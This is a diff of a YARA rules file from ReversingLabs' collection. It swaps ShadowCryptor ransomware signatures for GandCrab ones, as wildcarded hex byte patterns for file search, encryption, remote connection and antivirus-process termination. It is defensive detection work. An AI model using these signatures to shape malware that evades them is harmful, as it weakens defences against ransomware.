-            ?? ?? 89 44 24 ?? FF D0 8B 74 24 ?? 89 44 24 ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? B8
-            ?? ?? ?? ?? F7 64 24 ?? B8 ?? ?? ?? ?? C1 EA ?? 81 FA ?? ?? ?? ?? 0F 47 D0 B8 ?? ??
-            ?? ?? 81 FA ?? ?? ?? ?? 0F 42 D0 89 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 6C 24 ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC
-            ?? 85 C0 74 ?? 3B 74 24 ?? 8B 44 24 ?? 72 ?? FF D0 2B 44 24 ?? 3B 44 24 ?? 76 ?? 89
-            1C 24 8B 1D ?? ?? ?? ?? FF D3 83 EC ?? 8B 44 24 ?? 89 04 24 FF D3 83 EC ?? 83 C4 ??
-            5B 5E 5F 5D C2 ?? ?? 8D B4 26 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83
-            EC ?? 83 C4 ?? 5B 5E 5F 5D C2 ?? ?? 8D B6 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? 89 1C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 89 6C 24 ?? C7 44
-            24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC ??
-            85 C0 0F 84 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 8B 44 24 ?? FF D0 8B 74 24 ?? 89 44 24 ??
-            83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 64 24 ?? B8 ?? ?? ?? ?? C1 EA ??
-            81 FA ?? ?? ?? ?? 0F 47 D0 B8 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 0F 42 D0 89 14 24 FF 15
-            ?? ?? ?? ?? 83 EC ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ??
-            ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? 3B 74 24 ?? 72 ?? 8B
-            44 24 ?? FF D0 2B 44 24 ?? 3B 44 24 ?? 76 ?? E9
-        }
-		$encrypt_files_5 = {
-            FF 15 ?? ?? ?? ?? 83 EC ?? 89 C7 BE ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF
-            15 ?? ?? ?? ?? 83 EC ?? 89 C2 89 44 24 ?? 83 F8 ?? 74 ?? 8D 44 24 ?? 89 44 24 ?? 89
-            14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 C0 75 ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ??
-            ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ??
-            ?? ?? 83 EC ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24
-            ?? 89 44 24 ?? 89 54 24 ?? 8B 43 ?? 89 04 24 E8 ?? ?? ?? ?? 89 44 24 ?? 8B 73 ?? 89
-            74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 04 B6 01 C0 89 44 24 ??
-            89 04 24 E8 ?? ?? ?? ?? 89 C5 C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44
-            24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC
-            ?? 89 C6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 8B 0D ?? ?? ?? ?? 89 4C 24
-            ?? 89 7C 24 ?? 89 C6 89 D7 89 5C 24 ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44
-            24 ?? 89 44 24 ?? 89 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 0C 24 FF 54 24
-            ?? 83 EC ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 89 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 2C 24
-            E8 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24
-            ?? 8D 44 24 ?? 89 44 24 ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 DA 31 F2 09 FA 0F
-            94 C0 0F B6 C0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ??
-            ?? ?? 83 EC ?? 89 C3 FF 15 ?? ?? ?? ?? 85 C0 78 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24
-            ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 6C 24 ?? 8B 4C 24 ?? 89 0C 24 FF 15
-        }
-		$search_files_4 = {
-            FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 89 C3 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 81 C2 ?? ?? ?? ?? 8B 42 ??
-            83 E0 ?? 83 C8 ?? 89 42 ?? 89 1C 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 C3 8B
-            00 89 DA 03 50 ?? 8B 42 ?? 83 E0 ?? 83 C8 ?? 89 42 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ??
-            ?? ?? 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ??
-            ?? 83 EC ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BB ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ??
-            89 04 24 89 D9 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
-            04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ??
-            ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 3B BD ??
-            ?? ?? ?? 75 ?? EB ?? 83 EC ?? 83 C7 ?? 39 BD ?? ?? ?? ?? 74 ?? 8B 45 ?? 89 44 24 ??
-            89 3C 24 89 D9 E8 ?? ?? ?? ?? EB ?? BE ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ??
-            ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 89 F0 8D 65 ?? 5B 5E 5F 5D C2
-        }
-		$remote_connection_3 = {
-            55 89 E5 57 56 53 83 EC ?? 89 4D ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 45 ?? 89 44 24 ?? C7 04 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 8B 03 89 45 ?? EB ?? 83 EC ?? 89 45 ?? 85 C0 74 ?? 3D ?? ??
-            ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89
-            44 24 ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 83 7D ?? ??
-            74 ?? BE ?? ?? ?? ?? 8D 7D ?? EB ?? 83 EC ?? 8D 45 ?? 89 04 24 8D 4D ?? E8 ?? ?? ??
-            ?? 83 EC ?? 8B 45 ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C6 ?? 39 75 ?? 72 ?? 8B
-            45 ?? 8B 5C B0 ?? 89 7D ?? B8 ?? ?? ?? ?? 85 DB 74 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 04
-            43 C6 44 24 ?? ?? 89 44 24 ?? 89 1C 24 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04
-            24 E8 ?? ?? ?? ?? 83 EC ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? C1 F8 ?? 69 C0 ?? ?? ??
-            ?? 85 C0 74 ?? 8B 7D ?? 8D 9F ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 47 ?? 3B 47 ??
-            74 ?? 85 C0 74 ?? 8B 55 ?? 89 10 8D 48 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ??
-            8B 45 ?? 83 40 ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 8D 45 ?? 89 04
-            24 E8 ?? ?? ?? ?? 83 EC ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 ??
-            ?? 89 C3 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 89 1C 24 E8 ?? ?? ?? ?? 89 C3 EB ?? 53 83 EC ?? 8B 5C 24 ?? 8D 43 ?? 89 04 24 8B
-            0B E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? C7 04 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 5B C3
+            8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 73 ?? 8A 01 3A 02 75 ?? 83 FE ?? 74 ??
+            8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 33 C0 EB ??
+            1B C0 83 C8 ?? 85 C0 75 ?? 8B 5D ?? 8B 7D ?? C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B
+            BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B CF E8 ?? ?? ?? ?? 51 C6 45 ?? ?? 8D 4D ?? 8B
+            9D ?? ?? ?? ?? 51 83 CB ?? 8B C8 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 CB ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 83 CB ?? 83 7D ?? ?? 89 9D ?? ?? ?? ?? 0F 43 4D ?? 83
+            7D ?? ?? 89 9D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 01 3B
+            02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 73 ?? 8A 01 3A 02 75 ?? 83 FE ?? 74 ?? 8A 41 ??
+            3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 33 C0 EB ?? 1B C0 83
+            C8 ?? 85 C0 75 ?? 8B 5D ?? 8B 7D ?? C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 8B
+            CF 50 E8 ?? ?? ?? ?? 51 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 51 83 CB ?? 8B C8 89 9D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 8D 4D ?? 81 CB ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B 5D ??
+            83 FB ?? 0F 43 CF 83 7D ?? ?? 0F 85
         }
 
 	condition:
-		uint16(0)==0x5A4D and (($search_files and $encrypt_files and $remote_connection) or ($encrypt_files_2 and $remote_connection and $search_files) or ($search_files_2 and $encrypt_files_3 and $remote_connection_2) or ($install_service and $search_files_3 and $encrypt_files_4) or ($search_files_4 and $encrypt_files_5 and $remote_connection_3))
+		uint16(0)==0x5A4D and ($find_files) and ($import_key) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Shadowcryptor : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Gandcrab : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects ShadowCryptor ransomware."
+		description = "Yara rule that detects GandCrab ransomware."
 		author = "ReversingLabs"
-		id = "983e8927-4829-540f-9697-886226fd54ce"
-		date = "2021-02-11"
-		modified = "2021-02-11"
+		id = "a09ed7e6-f3a6-5f44-9d5b-a9c529cf1190"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.ShadowCryptor.yara#L1-L89"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "875150db9fc36cd992988bba7d0c05487418b901980bf428ebd427c82fbcacd7"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.GandCrab.yara#L1-L892"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "79381635681482fc90defe4e10e97bf16d534837518fc06ae579822e9d77b461"
 		score = 75
-		quality = 90
+		quality = 88
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
 		status = "RELEASED"
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "ShadowCryptor"
+		tc_detection_name = "GandCrab"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 0F 43 45 ?? 50 8D 85
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B
-            BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB ??
-            8D A4 24 ?? ?? ?? ?? 90 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 33 C0 83 7D
-            ?? ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 85
-            ?? ?? ?? ?? 83 F8 ?? 74 ?? A8 ?? 74 ?? 50 8D 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? EB ?? 51 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 83 C7 ?? 83 D6 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83
-            7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D6 8B C7 8B 4D ?? 64 89 0D ?? ??
-            ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+		$remote_connection = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F9 89 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 85 DB 74 ?? 33 C0
+            83 F8 ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 83 F8 ?? 74 ??
+            57 FF 15 ?? ?? ?? ?? 8D 4D ?? 8D 34 45 ?? ?? ?? ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ??
+            8B D8 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 45 ?? FF D6 57 53 FF D6
+            6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 8B 35 ?? ?? ?? ?? 53 FF D6 33 FF 8D
+            85 ?? ?? ?? ?? 21 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 83 EC ??
+            FF 75 ?? 53 FF D6 8B 75 ?? 8D 4D ?? 50 53 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 85
+            C0 74 ?? 47 83 7D ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? 83 65 ?? ?? E8 ?? ?? ?? ?? 85 C0 74
+            ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 01 EB ?? 33 FF 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
         }
-		$encrypt_files = {
-            55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ??
-            33 C4 89 44 24 ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 44 24 ?? 64 A3 ?? ?? ?? ?? 8B
-            F1 8D 46 ?? 50 8D 4E ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ??
-            ?? ?? ?? 66 89 44 24 ?? 89 44 24 ?? 39 46 ?? 0F 84 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ??
-            80 7E ?? ?? 0F 85 ?? ?? ?? ?? 51 8D 44 24 ?? 50 8D 44 24 ?? 50 8D 4E ?? E8 ?? ?? ??
-            ?? 8B C8 E8 ?? ?? ?? ?? 8B D0 8B 02 85 C0 74 ?? 8B 00 8B 48 ?? 8B 40 ?? 49 23 4A ??
-            8B 04 88 8D 4C 24 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 46 ?? 8B 4E ?? 48
-            03 C8 8B 46 ?? 48 23 C8 8B 46 ?? 8B 3C 88 83 7F ?? ?? 72 ?? FF 37 E8 ?? ?? ?? ?? 83
-            C4 ?? 33 C0 C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 66 89 07 FF 4E ?? 75 ?? 89 46
-            ?? 83 EC ?? 8B CC 6A ?? 89 41 ?? 33 C0 C7 41 ?? ?? ?? ?? ?? 50 66 89 01 8D 44 24 ??
-            50 E8 ?? ?? ?? ?? 51 8B CE E8 ?? ?? ?? ?? 8B C8 0B CA 74 ?? 01 46 ?? 11 56 ?? 83 7C
-            24 ?? ?? 8D 54 24 ?? 0F 43 54 24 ?? 83 EC ?? 8B FC 33 C0 C7 47 ?? ?? ?? ?? ?? C7 47
-            ?? ?? ?? ?? ?? 66 89 07 66 39 02 74 ?? 8B C2 8D 48 ?? 89 4C 24 ?? 66 8B 08 83 C0 ??
-            66 85 C9 75 ?? 2B 44 24 ?? D1 F8 50 52 8B CF E8 ?? ?? ?? ?? 8B 4E ?? 83 79 ?? ?? 8D
-            41 ?? 72 ?? 8B 00 8B 91 ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 09 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ??
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4C 24 ?? 33
-            CC E8 ?? ?? ?? ?? 8B E5 5D C3
+		$remote_connection_v2 = {
+            55 8B EC 83 EC ?? 53 56 8B D9 89 55 ?? 57 8D 4D ?? 89 5D ?? E8 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 53 89 45 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 3C 45
+            ?? ?? ?? ?? 8D 47 ?? 50 6A ?? FF D6 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B D8
+            FF D6 89 45 ?? 85 DB 74 ?? 8D 47 ?? 3B F8 73 ?? 8B F3 EB ?? 33 F6 FF 75 ?? 56 FF 15
+            ?? ?? ?? ?? F3 0F 6F 05 ?? ?? ?? ?? 56 F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F
+            7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45
+            ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? FF
+            15 ?? ?? ?? ?? 8D 45 ?? 33 FF 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 68 ?? ?? ?? ?? 83
+            EC ?? 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 50 56 8B 75 ?? 8D 4D ?? 68 ?? ??
+            ?? ?? 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? BF ?? ?? ?? ?? 74 ?? 8B 4D ?? 8D 55
+            ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89
+            01 EB ?? 33 FF 68 ?? ?? ?? ?? 6A ?? 56 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 6A ??
+            FF 75 ?? FF D6 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 45 ?? 85 C0 74 ?? 50 FF 15 ?? ?? ??
+            ?? 8B C7 5F 5E 5B 8B E5 5D C3
         }
-		$terminate_antivirus_processes_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 33 C0 C7 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 66 89 03 89
-            45 ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
+		$crypt_files = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 51 33 C0 89 4C 24 ?? 40 8B DA 50 51 50
+            83 EC ?? 89 5C 24 ?? 50 51 50 51 50 51 50 51 50 83 EC ?? 50 51 50 8D 8C 24 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 75 ?? 8B
+            F8 03 F3 8D 4E ?? 8D 0C CF C1 E1 ?? 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 04 B7 8D 04 C5
+            ?? ?? ?? ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 75 ?? 89 44 24 ?? 8D 0C F5 ?? ?? ?? ??
+            51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 0C DD ?? ?? ?? ?? 8B F8 51 8D 4C 24 ?? E8 ?? ?? ??
+            ?? 8B D8 89 5C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 56 FF
+            75 ?? 8D 0C 36 8B 35 ?? ?? ?? ?? 89 4C 24 ?? FF D6 8B 4C 24 ?? 8D 04 09 89 44 24 ??
+            8D 44 24 ?? 50 53 68 ?? ?? ?? ?? 51 FF 74 24 ?? FF D6 53 8B 1D ?? ?? ?? ?? FF D3 57
+            8B F0 FF D3 83 C0 ?? 8D 4C 24 ?? 03 C6 50 E8 ?? ?? ?? ?? 57 FF D3 40 8D 4C 24 ?? 50
+            E8 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? FF D3 40 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 33 F6
+            89 44 24 ?? 8B CE 57 89 4C 24 ?? FF D3 85 C0 74 ?? 8B 54 24 ?? 89 54 24 ?? 8B 44 24
+            ?? 8A 0C 38 80 F9 ?? 74 ?? 80 F9 ?? 74 ?? 88 0A 42 89 54 24 ?? 40 57 89 44 24 ?? FF
+            D3 8B 4C 24 ?? 8B 54 24 ?? 3B C8 72 ?? 8B 7C 24 ?? 57 FF D3 85 C0 74 ?? 8B 4C 24 ??
+            89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C
+            24 ?? 3B F0 72 ?? 8B 7C 24 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 8B 35 ?? ??
+            ?? ?? 57 FF D6 8D 4C 24 ?? 8D 3C 47 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF
+            D6 FF 74 24 ?? 8D 34 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ??
